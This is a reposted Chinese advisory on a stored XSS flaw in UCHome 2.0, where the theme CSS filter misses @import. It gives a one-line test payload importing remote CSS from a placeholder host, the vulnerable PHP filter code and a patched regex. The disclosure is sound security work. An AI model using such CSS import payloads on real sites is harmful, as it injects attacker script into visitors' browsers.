首页 > 其他 > 详细

uchome 2.0 存在持久XSS漏洞

时间:2016-07-10 18:08:13      阅读:180      评论:0      收藏:0      [点我收藏+]

发布时间2010-09-03

影响版本uchome 2.0

漏洞描述看源码分析的,出错位置较敏感,而且基本没有利用限制,个人主页自定义风格时,可@import外部css文件

测试方法

本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

以下在uchome 简体utf-8 2.0测试IE6,IE7,IE8通过.

@import url(http://xxx.com/1.css); 包含远程css文件,可以在1.css中写入XSS利用.

分析代码 cp_theme.php 92行(17行调用)

function checksecurity($str) {

	//执行一系列的过滤验证是否合法的CSS
	$filter = array(
		‘//*[

]*(.+?)[

]**//is‘,
		‘/[^a-z0-9]+/i‘,
	);

	$str = preg_replace($filter, ‘‘, $str); //过滤是过滤了,但只用于判断,没对源输入起作用

	if(preg_match("/(expression|implode|javascript)/i", $str)) { //并没有对import、http等进行检测
		showmessage(‘css_contains_elements_of_insecurity‘);
	}

	return true;
}

安全建议:

临时解决方法

implode应该是import的笔误

/(expression|vbscript|javascript|import)/i

uchome 2.0 存在持久XSS漏洞

原文:http://www.cnblogs.com/52php/p/5658205.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!